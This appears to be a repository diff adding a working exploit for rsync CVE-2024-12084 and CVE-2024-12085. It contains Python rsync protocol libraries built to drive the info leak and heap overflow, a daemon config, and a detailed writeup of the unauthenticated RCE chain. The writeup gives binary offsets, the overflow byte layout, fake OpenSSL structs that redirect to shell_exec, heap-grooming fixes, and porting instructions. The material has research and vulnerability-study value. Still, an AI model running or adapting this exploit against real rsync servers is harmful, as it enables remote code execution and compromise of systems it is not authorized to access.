raise ValueError("url must start with rsync://")
rest = url[len('rsync://'):]
parts = rest.split('/', 1)
if len(parts) != 2:
raise ValueError("expected rsync://host:port/module")
module = parts[1]
hp = parts[0].split(':')
if len(hp) != 2:
raise ValueError("expected host:port")
host, port = hp[0], int(hp[1])
pv = int(protocol_version)
dlen = _get_digest_len(digest)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
rc = RsyncConnection(sock, pv, module, digest, dlen)
rc.read_line() # consume greeting
rc.write_line_old(f"@RSYNCD: {pv}.0 {digest}")
rc.write_line_old(module)
while True:
line = rc.read_line()
if line == '@RSYNCD: OK':
break
if '@ERROR' in line:
raise RuntimeError(f"server error: {line}")
if '@RSYNCD: AUTHREQD' in line:
raise RuntimeError("authentication required")
return rc
def wrap_accepted(sock, protocol_version=31):
"""Wrap an accepted server-side socket in RsyncConnection."""
rc = RsyncConnection(sock, protocol_version, digest_len=0)
# Server-side NDX state differs from client: rsync initialises
# prev_negative to 1 (not -1) in the sender/generator.
rc.prev_negative_outbound = 1
return rc
# ---------------------------------------------------------------------------
# File / FileList (used by poc_filewrite server)
# ---------------------------------------------------------------------------
class File:
__slots__ = ('name', 'size', 'mode', 'digest', 'symlink_target', 'content')
def __init__(self, name='', size=0, mode=0, digest=None,
symlink_target='', content=b''):
self.name = name
self.size = size
self.mode = mode
self.digest = digest
self.symlink_target = symlink_target
self.content = content
class FileList:
"""Server-side file list builder and sender."""
def __init__(self):
self.files = []
self.child_lists = []
def add_dir(self, name):
f = File(name=name, mode=S_IFDIR | 0o755)
self.files.append(f)
return f
def add_regular_file(self, name, content=b''):
f = File(name=name, mode=S_IFREG | 0o755, content=content)
self.files.append(f)
return f
def add_symlink(self, name, target):
f = File(name=name, mode=S_IFLNK, symlink_target=target)
self.files.append(f)
return f
def new_child_list(self):
cl = FileList()
self.child_lists.append(cl)
return cl
def sort(self, pv=31):
self.files.sort(key=functools.cmp_to_key(
lambda a, b: f_name_cmp(a.name, b.name, a.mode, b.mode, pv)))
def send(self, srv):
"""Send this file list over the connection."""
self.sort()
for f in self.files:
srv.write_byte(XMIT_LONG_NAME | XMIT_SAME_TIME)
srv.write_var_int(len(f.name))
srv.write_sbuf(f.name)
# file length (3 zero bytes = 0, no varlong30 yet)
srv.write(b'\x00\x00\x00')
# modtime skipped because XMIT_SAME_TIME
srv.write_raw_int(f.mode)
if is_symlink(f.mode):
srv.write_var_int(len(f.symlink_target))
srv.write_sbuf(f.symlink_target)
srv.write_byte(0) # end of list
def index_for(self, target_file, pv=31):
"""Find the global index of a file (matching rsync's numbering)."""
self.sort(pv)
for cl in self.child_lists:
cl.sort(pv)
idx = 1
for f in self.files:
if f is target_file:
return idx
idx += 1
for cl in self.child_lists:
idx += 1 # each child list bumps by 1
for f in cl.files:
if f is target_file:
return idx
idx += 1
raise ValueError(f"file not found: {target_file.name}")
+538
View File
@@ -0,0 +1,538 @@
"""
Minimal rsync protocol library for CVE-2024-12084/12085 PoC.
Implements just enough of protocol 31 (daemon mode, server-as-sender)
to drive the info leak and heap overflow.
Wire format references: rsync 3.2.7 source (io.c, flist.c, compat.c,
sender.c, token.c, exclude.c, clientserver.c).
"""
import socket
import struct
import urllib.parse
from collections import namedtuple
# ── Constants ────────────────────────────────────────────────────────
ITEM_TRANSFER_FLAG = 1 << 15 # ITEM_TRANSFER from rsync.h
MPLEX_BASE = 7
MSG_DATA = 0
# XMIT_* flags (rsync.h)
XMIT_TOP_DIR = 1 << 0
XMIT_SAME_MODE = 1 << 1
XMIT_EXTENDED_FLAGS = 1 << 2
XMIT_SAME_UID = 1 << 3
XMIT_SAME_GID = 1 << 4
XMIT_SAME_NAME = 1 << 5
XMIT_LONG_NAME = 1 << 6
XMIT_SAME_TIME = 1 << 7
XMIT_NO_CONTENT_DIR = 1 << 8
XMIT_MOD_NSEC = 1 << 13
# CF_* compat flags (compat.c)
CF_INC_RECURSE = 1 << 0
CF_VARINT_FLIST_FLAGS = 1 << 7
# int_byte_extra table from io.c — varint length decoding
INT_BYTE_EXTRA = (
[0]*32 + # 0x00-0x7F /4
[1]*16 + # 0x80-0xBF /4
[2]*8 + [3]*4 + [4]*2 + [5,6] # 0xC0-0xFF /4
)
S_IFMT = 0o170000
S_IFREG = 0o100000
S_IFDIR = 0o040000
def is_reg(mode): return (mode & S_IFMT) == S_IFREG
def is_dir(mode): return (mode & S_IFMT) == S_IFDIR
# ── rsync's "weak" checksum (get_checksum1 in checksum.c) ───────────
def adler32_rsync(data):
"""rsync's rolling checksum (NOT real adler32).
NOTE: rsync casts bytes to SIGNED char, and CHAR_OFFSET=0."""
def sb(x): # signed-byte conversion
return x - 256 if x >= 128 else x
s1 = s2 = 0
n = len(data)
i = 0
while i < n - 4: # exact match for `i < (len-4)` in C
b0, b1, b2, b3 = sb(data[i]), sb(data[i+1]), sb(data[i+2]), sb(data[i+3])
s2 += 4*(s1 + b0) + 3*b1 + 2*b2 + b3
s1 += b0 + b1 + b2 + b3
i += 4
while i < n:
s1 += sb(data[i])
s2 += s1
i += 1
return ((s1 & 0xffff) | ((s2 & 0xffff) << 16)) & 0xffffffff
FileEntry = namedtuple('FileEntry', 'name mode size mtime')
# ── Connection ───────────────────────────────────────────────────────
class RsyncConn:
def __init__(self, sock, module, csum_choice):
self.sock = sock
self.module = module
self.csum_choice = csum_choice
self.in_multiplexed = False
self.out_multiplexed = False
self.compat_flags = 0
self.checksum_seed = 0
# input buffering for multiplexed reads
self._mux_buf = b''
# ndx encoding state
self._wprev_pos = -1
self._wprev_neg = 1
self._rprev_pos = -1
self._rprev_neg = 1
# ── raw socket I/O ──────────────────────────────────────────────
def _raw_send(self, data):
self.sock.sendall(data)
def _raw_recv(self, n):
out = b''
while len(out) < n:
chunk = self.sock.recv(n - len(out))
if not chunk:
raise ConnectionError("connection closed")
out += chunk
return out
def _raw_recv_line(self):
out = b''
while True:
c = self.sock.recv(1)
if not c or c == b'\n':
break
if c != b'\r':
out += c
return out.decode('latin-1')
# ── pre-multiplex line/string output ────────────────────────────
def write_line(self, s):
"""Send a NULL-terminated string. Used for args (raw) AND filters (mux).
rsync daemon args use \\0 terminators, NOT \\n. Filters too."""
data = s.encode('latin-1') + b'\x00'
if self.out_multiplexed:
self._mux_send(data)
else:
self._raw_send(data)
# ── multiplexed output ──────────────────────────────────────────
def _mux_send(self, payload, tag=MSG_DATA):
"""Wrap payload in MSG_DATA multiplexing header."""
if not self.out_multiplexed:
self._raw_send(payload)
return
# Header: 4 bytes little-endian: low 24 bits = length, high 8 = tag+MPLEX_BASE
# Send in chunks <= 0xFFFFFF
i = 0
while i < len(payload):
chunk = payload[i:i+0x4000]
hdr = struct.pack('<I', len(chunk) | ((tag + MPLEX_BASE) << 24))
self._raw_send(hdr + chunk)
i += len(chunk)
if len(payload) == 0:
# zero-length still needs a header
hdr = struct.pack('<I', (tag + MPLEX_BASE) << 24)
self._raw_send(hdr)
def write_raw_int(self, x):
"""Write a 4-byte little-endian int (multiplexed)."""
self._mux_send(struct.pack('<i', x))
def write_short_int(self, x):
"""Write a 2-byte little-endian short."""
self._mux_send(struct.pack('<H', x & 0xffff))
def write_byte(self, b):
self._mux_send(bytes([b & 0xff]))
def write_bulk(self, data):
"""Write arbitrary bytes (multiplexed)."""
self._mux_send(bytes(data))
def write_vstring(self, s):
"""Write a vstring: 1 or 2 length bytes, then data."""
b = s.encode('latin-1') if isinstance(s, str) else bytes(s)
n = len(b)
if n > 0x7F:
hdr = bytes([(n >> 8) | 0x80, n & 0xff])
else:
hdr = bytes([n])
self._mux_send(hdr + b)
def write_ndx(self, ndx):
"""write_ndx (io.c:2242). Diff-encoded against previous positive."""
# NDX_DONE (= -1) sent as single 0 byte
if ndx == -1:
self._mux_send(b'\x00')
return
if ndx >= 0:
diff = ndx - self._wprev_pos
self._wprev_pos = ndx
prefix = b''
else:
prefix = b'\xff'
ndx = -ndx
diff = ndx - self._wprev_neg
self._wprev_neg = ndx
if 0 < diff < 0xFE:
self._mux_send(prefix + bytes([diff]))
elif diff < 0 or diff > 0x7FFF:
self._mux_send(prefix + bytes([0xFE,
(ndx >> 24) | 0x80,
ndx & 0xff,
(ndx >> 8) & 0xff,
(ndx >> 16) & 0xff]))
else:
self._mux_send(prefix + bytes([0xFE,
(diff >> 8) & 0xff,
diff & 0xff]))
# ── multiplexed input ───────────────────────────────────────────
def _mux_read(self, n):
"""Read n bytes of MSG_DATA payload, buffering across mux frames."""
if not self.in_multiplexed:
return self._raw_recv(n)
while len(self._mux_buf) < n:
hdr = struct.unpack('<I', self._raw_recv(4))[0]
tag = (hdr >> 24) - MPLEX_BASE
length = hdr & 0xFFFFFF
payload = self._raw_recv(length) if length else b''
if tag == MSG_DATA:
self._mux_buf += payload
elif tag in (1, 2, 3): # MSG_INFO, MSG_ERROR, MSG_ERROR_XFER
# Print and continue
import sys
sys.stderr.write(f"[server msg{tag}] {payload.decode('latin-1', 'replace')}")
else:
# ignore other message types
pass
out, self._mux_buf = self._mux_buf[:n], self._mux_buf[n:]
return out
def read_byte(self):
return self._mux_read(1)[0]
def read_int(self):
return struct.unpack('<i', self._mux_read(4))[0]
def read_short_int(self):
return struct.unpack('<H', self._mux_read(2))[0]
def read_buf(self, n):
return self._mux_read(n)
def read_varint(self):
"""read_varint (io.c:1794)."""
u = bytearray(5)
ch = self.read_byte()
extra = INT_BYTE_EXTRA[ch >> 2]
if extra:
bit = 1 << (8 - extra)
if extra >= 5:
raise ValueError("varint overflow")
u[:extra] = self._mux_read(extra)
u[extra] = ch & (bit - 1)
else:
u[0] = ch
v = struct.unpack('<I', bytes(u[:4]))[0]
if v & 0x80000000:
v -= 0x100000000
return v
def read_varlong(self, min_bytes):
"""read_varlong (io.c:1826)."""
u = bytearray(9)
b2 = self._mux_read(min_bytes)
u[:min_bytes-1] = b2[1:]
ch = b2[0]
extra = INT_BYTE_EXTRA[ch >> 2]
if extra:
bit = 1 << (8 - extra)
if min_bytes + extra > 9:
raise ValueError("varlong overflow")
u[min_bytes-1:min_bytes-1+extra] = self._mux_read(extra)
u[min_bytes-1+extra] = ch & (bit - 1)
else:
u[min_bytes-1] = ch
return struct.unpack('<q', bytes(u[:8]))[0]
def read_vstring(self):
n = self.read_byte()
if n & 0x80:
n = ((n & 0x7f) << 8) | self.read_byte()
return self._mux_read(n).decode('latin-1') if n else ''
def read_ndx(self):
"""read_ndx (io.c:2289)."""
b = self.read_byte()
if b == 0xFF:
b = self.read_byte()
neg = True
elif b == 0:
return -1 # NDX_DONE
else:
neg = False
if b == 0xFE:
b1 = self.read_byte()
b2 = self.read_byte()
if b1 & 0x80:
# 4-byte absolute
b3 = self.read_byte()
b4 = self.read_byte()
num = b2 | (b3 << 8) | (b4 << 16) | ((b1 & 0x7f) << 24)
else:
prev = self._rprev_neg if neg else self._rprev_pos
num = (b1 << 8) + b2 + prev
else:
prev = self._rprev_neg if neg else self._rprev_pos
num = b + prev
if neg:
self._rprev_neg = num
return -num
else:
self._rprev_pos = num
return num
# ── protocol setup ──────────────────────────────────────────────
def setup_protocol(self):
"""
Mirrors what server does in compat.c:setup_protocol() when am_server=1, am_sender=1.
We are the client (receiver).
"""
# Server is am_server, so it WRITES compat_flags as varint.
# But this happens BEFORE multiplexing is on.
# Read compat_flags as varint (compat.c:738) — read_varint is compatible
# with single-byte values < 0x80.
# NOTE: this read is on the RAW socket, not multiplexed yet.
old_in_mux = self.in_multiplexed
self.in_multiplexed = False
self.compat_flags = self.read_varint()
# Verify CF_VARINT_FLIST_FLAGS — needed for our file list parsing
# (we sent 'v' in -e.v so this should be set)
assert self.compat_flags & CF_VARINT_FLIST_FLAGS, \
f"expected CF_VARINT_FLIST_FLAGS, got {self.compat_flags:#x}"
# CF_INC_RECURSE must be off (we sent --no-inc-recursive)
assert not (self.compat_flags & CF_INC_RECURSE), \
f"inc_recurse unexpectedly on: {self.compat_flags:#x}"
# negotiate_the_strings (compat.c:534) — both sides call this.
# Both sides send_negotiate_str FIRST (writes to wire if do_negotiated_strings),
# then both recv_negotiate_str. So: we send, server sends, both proceed.
# All on RAW socket (pre-multiplex).
#
# Send our checksum preference (we want to force csum_choice to win)
self._raw_send(bytes([len(self.csum_choice)]) + self.csum_choice.encode())
# Read server's checksum list
n = self._raw_recv(1)[0]
if n & 0x80:
n = ((n & 0x7f) << 8) | self._raw_recv(1)[0]
server_csums = self._raw_recv(n).decode() if n else ''
# Compress: only negotiated if do_compression && !compress_choice.
# We always send --compress-choice=zlib OR --no-compress, so the server
# never enters compress negotiation. Skip.
# Server writes checksum_seed (compat.c:813) — raw 4-byte int
self.checksum_seed = struct.unpack('<i', self._raw_recv(4))[0]
# Now multiplexing kicks in:
# server: io_start_multiplex_out → server output multiplexed
# server: io_start_multiplex_in (need_messages_from_generator) → server input multiplexed
self.in_multiplexed = True
self.out_multiplexed = True
# ── file list parsing ───────────────────────────────────────────
def read_file_list(self):
"""
Parse file list sent by server (send_file_list → send_file_entry).
With xfer_flags_as_varint=1, each entry starts with varint flags.
Termination: varint 0, then varint io_error.
We sent --no-owner --no-group --no-acls --no-devices --no-specials
--no-links --no-hard-links --no-atimes --no-crtimes, so the per-entry
format reduces to:
xflags (varint)
[if SAME_NAME] l1 (byte)
[if LONG_NAME] l2 (varint) else l2 (byte)
name[l2]
file_length (varlong, min_bytes=3)
[if !SAME_TIME] modtime (varlong, min_bytes=4)
[if MOD_NSEC] nsec (varint)
[if !SAME_MODE] mode (int)
[if --checksum && S_ISREG] checksum (file_sum_len bytes)
"""
files = []
lastname = ''
lastmode = 0
lastmtime = 0
# We sent --checksum, so each regular file includes file_sum.
# But we don't know file_sum_len until after parse_checksum_choice.
# The chosen csum is what we negotiated. Hardcode common lengths:
csum_lens = {'xxh64': 8, 'xxh3': 8, 'xxh128': 16, 'sha1': 20,
'md5': 16, 'md4': 16}
file_sum_len = csum_lens.get(self.csum_choice, 16)
while True:
xflags = self.read_varint()
if xflags == 0:
self.read_varint() # io_error
break
# Name
l1 = self.read_byte() if (xflags & XMIT_SAME_NAME) else 0
if xflags & XMIT_LONG_NAME:
l2 = self.read_varint()
else:
l2 = self.read_byte()
name_tail = self._mux_read(l2).decode('latin-1', errors='replace')
name = lastname[:l1] + name_tail
lastname = name
# File length (read_varlong30 with protocol>=30 → varlong min_bytes=3)
size = self.read_varlong(3)
# Modtime
if not (xflags & XMIT_SAME_TIME):
lastmtime = self.read_varlong(4)
mtime = lastmtime
if xflags & XMIT_MOD_NSEC:
self.read_varint() # discard
# Mode
if not (xflags & XMIT_SAME_MODE):
lastmode = self.read_int()
# from_wire_mode is identity for normal mode bits on linux
mode = lastmode
# We disabled atimes/crtimes/uid/gid/devices/specials/links/hardlinks/acls
# so nothing else to read for those.
# Checksum (only for regular files when --checksum was sent)
if is_reg(mode):
self._mux_read(file_sum_len) # discard
files.append(FileEntry(name, mode, size, mtime))
# Server calls flist_sort_and_clean AFTER sending. The ndx we send back
# references the SORTED order. rsync's f_name_cmp ≈ strcmp on path; for
# a flat directory, Python's bytewise string sort matches.
files.sort(key=lambda f: f.name.encode('latin-1'))
return files
# ── download a file (Phase 1 setup) ─────────────────────────────
def download_file(self, ndx, file_entry):
"""
Request a file with empty checksums (force full transfer).
Returns the file content. No compression.
"""
# Send: ndx, iflags, sum_head with count=0
self.write_ndx(ndx)
self.write_short_int(ITEM_TRANSFER_FLAG)
self.write_raw_int(0) # count=0
self.write_raw_int(0) # blength=0
self.write_raw_int(0) # s2length=0
self.write_raw_int(0) # remainder=0
# Server echoes ndx + iflags
self.read_ndx()
self.read_short_int()
# Server echoes sum_head
self.read_int(); self.read_int(); self.read_int(); self.read_int()
# Server now sends data via simple_send_token format (no compression):
# while (token = read_int()) > 0: read_buf(token bytes)
# token <= 0 → done (or matched, but with count=0 there are no matches)
data = b''
while True:
tok = self.read_int()
if tok <= 0:
break
data += self._mux_read(tok)
# File checksum trailer (file_sum_len bytes from sum_end)
csum_lens = {'xxh64': 8, 'xxh3': 8, 'xxh128': 16, 'sha1': 20,
'md5': 16, 'md4': 16}
file_sum_len = csum_lens.get(self.csum_choice, 16)
self._mux_read(file_sum_len)
# Need to send NDX_DONE to signal we're done with this phase
# (but exploit closes connection after, so might not be needed)
return data
# ── deflate token (Phase 1 oracle) ──────────────────────────────
def receive_deflate_token(self):
"""
Read ONE deflate token signal. Returns (signal, data).
signal < 0 → matched a block (TOKEN). signal >= 0 → data (no match).
We only care about the FIRST signal as the oracle.
"""
flag = self.read_byte()
if flag == 0: # END_FLAG
return 0, b''
if (flag & 0xC0) == 0x40: # DEFLATED_DATA
n = ((flag & 0x3f) << 8) | self.read_byte()
payload = self._mux_read(n)
return n, payload # n > 0 → no match
if flag & 0x80: # TOKEN_REL
tok = flag & 0x3f
return -1 - tok, b'' # negative → match!
if flag in (0x20, 0x21): # TOKEN_LONG / TOKENRUN_LONG
tok = self.read_int()
return -1 - tok, b'' # negative → match!
# Unknown flag — treat as no-match
return flag, b''
def close(self):
try:
self.sock.close()
except:
pass
# ── Public API ───────────────────────────────────────────────────────
def connect(url, proto_ver, csum_choice):
"""
Connect to rsync daemon and complete handshake up through args.
The caller must then call setup_protocol() after sending args.
url: rsync://host:port/module
proto_ver: '31' (string)
csum_choice: transfer checksum to negotiate ('xxh64' or 'sha1')
"""
p = urllib.parse.urlparse(url)
host = p.hostname
port = p.port or 873
module = p.path.lstrip('/').rstrip('/') or 'files'
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(30)
sock.connect((host, port))
rc = RsyncConn(sock, module, csum_choice)
# 1. Server greeting: "@RSYNCD: 31.0 <auth csums>\n"
greeting = rc._raw_recv_line()
# 2. Send our greeting. The auth checksum here is for daemon auth, NOT
# transfer. We pick md5 (always supported). The transfer checksum
# (csum_choice) is negotiated later in setup_protocol.
rc._raw_send(f"@RSYNCD: {proto_ver}.0 md5\n".encode())
# 3. Send module name
rc._raw_send((module + '\n').encode())
# 4. Read responses until "@RSYNCD: OK"
while True:
line = rc._raw_recv_line()
if line == '@RSYNCD: OK':
break
if line.startswith('@ERROR'):
raise RuntimeError(f"daemon error: {line}")
if line.startswith('@RSYNCD: EXIT'):
raise RuntimeError("daemon EXIT")
# otherwise: motd or other info, ignore
# 5. Caller now sends args via write_line(), terminated by write_line('')
return rc
+6
View File
@@ -0,0 +1,6 @@
log file = /tmp/rsync_daemon.log
pid file = /tmp/rsync_daemon.pid
[files]
path = /tmp/rsync_test_module
read only = true
use chroot = false
+610
View File
@@ -0,0 +1,610 @@
# Rsync CVE-2024-12084 + CVE-2024-12085 — Unauthenticated RCE Writeup
Based on the Phrack 72 article "Desync the Planet" by Simon Scannell,
Pedro Gallegos, and Jasiel Spelman. This documents the full process of
getting the exploit chain working on our target system, including all
the debugging steps, dead ends, and system-specific adaptations.
---
## 0. Environment
| Component | Detail |
|------------------|--------|
| Target binary | rsync 3.2.7, compiled from upstream source |
| OS | Ubuntu 22.04.3 LTS, kernel 6.8 |
| glibc | 2.35-0ubuntu3.13 |
| OpenSSL | 3.0.2 |
| Arch | x86-64 |
| Protections | Full ASLR, PIE, NX, Full RELRO, stack canaries |
| MAX_DIGEST_LEN | 64 (SHA512_DIGEST_LENGTH) |
| SUM_LENGTH | 16 (fixed in `struct sum_buf`) |
| Overflow window | 64 - 16 = **48 bytes** per sum_buf entry |
The system rsync (`3.2.7-0ubuntu0.22.04.4`) has all CVEs backported.
We built upstream 3.2.7 from source to get a vulnerable binary at
`/tmp/rsync-3.2.7/rsync`.
### Building rsync 3.2.7
```bash
cd /tmp
wget https://download.samba.org/pub/rsync/src/rsync-3.2.7.tar.gz
tar xzf rsync-3.2.7.tar.gz
cd rsync-3.2.7
./configure --with-openssl --disable-xxhash # or --enable-xxhash
make
```
### Daemon setup
```bash
mkdir -p /tmp/rsync_test_module
echo "hello world" > /tmp/rsync_test_module/foo.txt
echo "test data" > /tmp/rsync_test_module/bar.txt
cat > /tmp/rsyncd_test.conf << 'EOF'
log file = /tmp/rsync_daemon.log
[files]
path = /tmp/rsync_test_module
read only = true
use chroot = false
EOF
/tmp/rsync-3.2.7/rsync --daemon --config=/tmp/rsyncd_test.conf --port=12000
```
Confirm vulnerability via banner:
```
$ echo "" | nc 127.0.0.1 12000
@RSYNCD: 31.0 sha512 sha256 sha1 md5 md4
```
Protocol 31 + SHA512 in the auth list confirms MAX_DIGEST_LEN = 64.
### Key binary offsets
Extract with `nm`:
```bash
nm /tmp/rsync-3.2.7/rsync | grep -E " (T|B) (shell_exec|ctx_evp|set_compression)$"
```
For our build:
```
CHECK_COMPRESSION_OFFSET = 0x436f7 # set_compression+599 (leaked via info leak)
SHELL_EXEC_OFFSET = 0x2b970 # shell_exec() — calls system(cmd)
CTX_EVP_OFFSET = 0x9dc28 # global EVP_MD_CTX *ctx_evp in .bss
XFER_SUM_NNI_OFFSET = 0x89310 # SHA1 entry in valid_checksums_items
```
These change with every recompilation. You MUST extract them for your
specific binary.
---
## 1. Vulnerability Overview
### CVE-2024-12085 — Info Leak (ASLR Bypass)
In `match.c:hash_search()`, a stack buffer `sum2[MAX_DIGEST_LEN]` (64 bytes)
is only partially written by the digest algorithm. The remaining bytes contain
**uninitialized stack data**. An attacker controls `s2length` (up to 64) and
uses the server's match/no-match response as a 1-byte-at-a-time oracle to
leak up to 56 bytes of stack contents.
With xxhash64 (8-byte digest), offset `sum2+8` on the Phrack target contained
a `.text` pointer — one round of leaking gives the full PIE base.
### CVE-2024-12084 — Heap Buffer Overflow
In `sender.c:receive_sums()`, the server reads `s2length` bytes into
`sum2[16]` — overflowing by up to 48 bytes per `sum_buf` entry. By
overflowing the last entry into an adjacent `sum_struct`, the attacker
corrupts `s->sums` (WHERE to write), `s->count` (how many entries), and
`s->s2length` (how many bytes per write), creating an arbitrary
write-what-where primitive.
---
## 2. Exploitation Strategy (Phrack "One-Shot" Approach)
### High-level flow
```
┌─────────────┐ ┌─────────────────┐ ┌──────────────────┐
│ Info Leak │───>│ Heap Overflow │───>│ RCE Trigger │
│ (Phase 1) │ │ (Phase 2) │ │ │
│ │ │ │ │ sum_init() │
│ Leak .text │ │ Corrupt sums │ │ → EVP_Digest... │
│ → PIE base │ │ → write to .bss │ │ → freectx() │
│ │ │ → plant fake │ │ → shell_exec() │
│ │ │ EVP structs │ │ → system(cmd) │
└─────────────┘ └─────────────────┘ └──────────────────┘
```
### Phase 2 detail: one-shot .bss write
After the info leak provides the binary base, Phase 2:
1. **Heap groom**: Exhaust tcache bins, create a hole via filter rules
so `sum_buf[5]` and `sum_struct` are adjacent on the heap.
2. **Overflow**: Send `count=5` entries with `s2length=64`. Each entry
overflows 48 bytes. The last entry corrupts `sum_struct`:
- `s->count` = 6 (adds one extra iteration)
- `s->sums` = `&ctx_evp - 222` (redirects array to .bss)
- `s->s2length` = 289 (size of our payload)
3. **Extra entry**: The 6th iteration reads `sum1` (4B) and `sum2`
(289B) directly to `&ctx_evp`, writing:
```
Offset Content .bss global
────── ───────────────────────────────── ──────────────────
0x000 fake_ctx_addr (ctx_evp+8) ctx_evp (overwritten)
0x008 ┌─ fake EVP_MD_CTX (72 bytes) ─┐
│ +0x08: digest → fake EVP_MD │ file_sum_evp_md
│ +0x18: flags = 0x400 │ file_sum_nni (clobbered)
│ +0x30: xfer_sum_nni (PRESERVED) xfer_sum_nni ← CRITICAL
│ +0x38: algctx → cmd string │
└──────────────────────────────┘
0x050 ┌─ fake EVP_MD (~184 bytes) ───┐
│ +0xb0: freectx = shell_exec │
└──────────────────────────────┘
0x108 "touch /tmp/rce_proof.txt\0" sumresidue etc
```
4. **Trigger**: After `receive_sums`, the server enters `match_sums`
`sum_init(xfer_sum_nni, seed)``EVP_DigestInit_ex(ctx_evp, ...)`.
Inside OpenSSL:
```
ctx->algctx != NULL → ctx->digest->freectx(ctx->algctx)
→ shell_exec(cmd_string)
→ system("touch /tmp/rce_proof.txt")
```
### Overflow byte layout (64 bytes from last sum2)
```
Byte Offset Content Target
──── ────── ─────── ──────
0-15 sum2 checksum data sum_buf[4].sum2 (in-bounds)
16-17 padding don't care struct padding
18-25 chunk hdr 0x31 (48B|PREV_INUSE) sum_struct chunk size field
26-33 flength 0 sum_struct.flength
34-41 sums &ctx_evp - 222 sum_struct.sums (redirect)
42-45 count 6 (original + 1) sum_struct.count
46-49 blength 1337 sum_struct.blength
50-53 remainder 0 sum_struct.remainder
54-57 s2length 289 (payload size) sum_struct.s2length
58-63 padding don't care past sum_struct
```
---
## 3. Bugs Found and Fixed During Development
This section documents every issue encountered, how it was diagnosed,
and the fix. This is the most valuable part for anyone porting the
exploit to a new target.
### Bug 1: Protocol desync — "File-list index 49"
**Symptom**: Server logs `File-list index 49 not in -1 - 2
(read_ndx_and_attrs) [sender]`.
**Root cause (initially suspected)**: Outbound multiplexing mismatch.
We initially set `out_multiplexed = False` thinking the server didn't
demux inbound data.
**Actual root cause**: The ndx=49 error came from `read_final_goodbye`
(the SECOND ndx read), not the first. The first ndx=1 was read
correctly. The issue was that the heap overflow wasn't working, so the
server processed the file normally and then tried to read the next ndx
from leftover data in the socket.
**How diagnosed**: GDB `break flist_for_ndx` with multiple continues:
```
call 1: ndx=1 ← from send_files (correct)
call 2: ndx=49 ← from read_final_goodbye (leftover data)
```
**Key finding**: For protocol >= 30, the rsync server UNCONDITIONALLY
sets `need_messages_from_generator = 1` in `compat.c:776`, which
enables inbound demultiplexing. The client MUST send multiplexed data
(`out_multiplexed = True`). We confirmed this with GDB:
```
(gdb) break recv_filter_list
(gdb) printf "need_msgs=%d in_multiplexed=%d\n", need_messages_from_generator, iobuf.in_multiplexed
need_msgs=1 in_multiplexed=1
```
### Bug 2: Heap grooming — extra chunk in the gap
**Symptom**: `ctx_evp` watchpoint never triggered. The overflow wasn't
reaching `sum_struct`.
**Root cause**: The Phrack PoC sends TWO filters:
```go
filter := "+ " + strings.Repeat("Z", count*sumBufStructSize - 1) // 200B pattern
client.WriteRawInt(len(filter) + 1); client.WriteLine(filter)
filter = "+ a" // tiny pattern
client.WriteRawInt(len(filter) + 1); client.WriteLine(filter)
client.WriteRawInt(len(clr) + 1); client.WriteLine(clr) // "!" clears all
```
On Debian 12 (glibc 2.36), `malloc(2)` for pattern "a" gives an 8-byte
entry that goes to a tiny tcache bin. On Ubuntu 22.04 (glibc 2.35),
`malloc(2)` gives a **32-byte chunk** — same bin as the filter_rule
struct (48B). This extra chunk lands between `sum_buf[]` and
`sum_struct`, creating a **56-byte gap** instead of 8.
**How diagnosed**: GDB breakpoint at `sender.c:98` (after allocations):
```
With 2 filters: s=0x590 sums=0x490 diff=56 ← TOO FAR
With 1 filter: s=0x560 sums=0x490 diff=8 ← CORRECT
```
**Fix**: Send only ONE filter (the large one). The tcache state from
the defragmentation provides the right placement without the second
filter.
```python
# WRONG (glibc 2.35):
filt = '+ ' + 'Z' * 199; rc.write_raw_int(len(filt)+1); rc.write_line(filt)
filt2 = '+ a'; rc.write_raw_int(len(filt2)+1); rc.write_line(filt2)
rc.write_raw_int(2); rc.write_line('!')
# CORRECT (glibc 2.35):
filt = '+ ' + 'Z' * 199; rc.write_raw_int(len(filt)+1); rc.write_line(filt)
rc.write_raw_int(2); rc.write_line('!')
```
**Verification**: `malloc_usable_size` test:
```c
malloc( 2) -> usable=24 chunk_size=32 // same bin as 32B requests
malloc(32) -> usable=40 chunk_size=48 // sum_struct lands here
malloc(40) -> usable=40 chunk_size=48 // filter_rule lands here
```
### Bug 3: xfer_sum_nni clobbered — trigger path bypassed
**Symptom**: `ctx_evp` WAS correctly overwritten (GDB watchpoint
confirmed `ctx_evp = fake_ctx_addr`). But `shell_exec` breakpoint
never hit. Server crashed with `SIGABRT: free(): invalid pointer`.
**Root cause**: Our 289-byte payload writes contiguously from `&ctx_evp`
through `&ctx_evp + 288`, overwriting ALL globals in that range. The
critical global `xfer_sum_nni` at `ctx_evp + 0x30` was zeroed.
When `match_sums` calls `sum_init(xfer_sum_nni, seed)`, it receives
`nni = NULL`. sum_init handles NULL by calling `parse_csum_name(NULL,0)`
which internally calls `malloc()`. Since the heap was corrupted by our
overflow, this malloc triggers `free(): invalid pointer` → SIGABRT.
The EVP trigger path is never reached.
**How diagnosed**: GDB break on `sum_init`:
```
sum_init(nni=0x0, seed=1337) ← xfer_sum_nni was zeroed!
```
Then mapping the .bss layout around ctx_evp:
```bash
nm rsync | awk '/09dc/ || /09dd/'
```
```
0x09dc28 B ctx_evp +0x000 ← we write here
0x09dc38 B xfer_sum_evp_md +0x010
0x09dc58 B xfer_sum_nni +0x030 ← ZEROED by our payload!
0x09dc60 b prior_result.0 +0x038
```
**Fix**: Preserve `xfer_sum_nni` in the payload at offset 0x30:
```python
XFER_SUM_NNI_OFFSET = 0x89310 # SHA1 entry in valid_checksums_items
xfer_sum_nni = base + XFER_SUM_NNI_OFFSET
struct.pack_into('<Q', payload, 0x30, xfer_sum_nni)
```
The SHA1 NNI entry is at a fixed offset in the binary's `.data` section,
so we can compute its runtime address from the leaked base.
### Bug 4: Chunk metadata corruption
**Symptom (earlier)**: Server crash during `receive_sums` loop when
overflow bytes 18-25 were all zeros, corrupting the malloc chunk size
field between `sum_buf[]` and `sum_struct`.
**Fix**: Set bytes 18-25 to `0x31` (48-byte chunk | PREV_INUSE):
```python
struct.pack_into('<Q', overflow_payload, 18, 0x31)
```
This is the correct chunk size for `sum_struct` (`malloc(32)` → 48B
chunk on glibc 2.35).
---
## 4. Porting to Other Installations
### What changes between targets
| Item | Why it changes | How to find it |
|------|---------------|----------------|
| `SHELL_EXEC_OFFSET` | Different compiler/flags | `nm rsync \| grep shell_exec` |
| `CTX_EVP_OFFSET` | Different .bss layout | `nm rsync \| grep ctx_evp` |
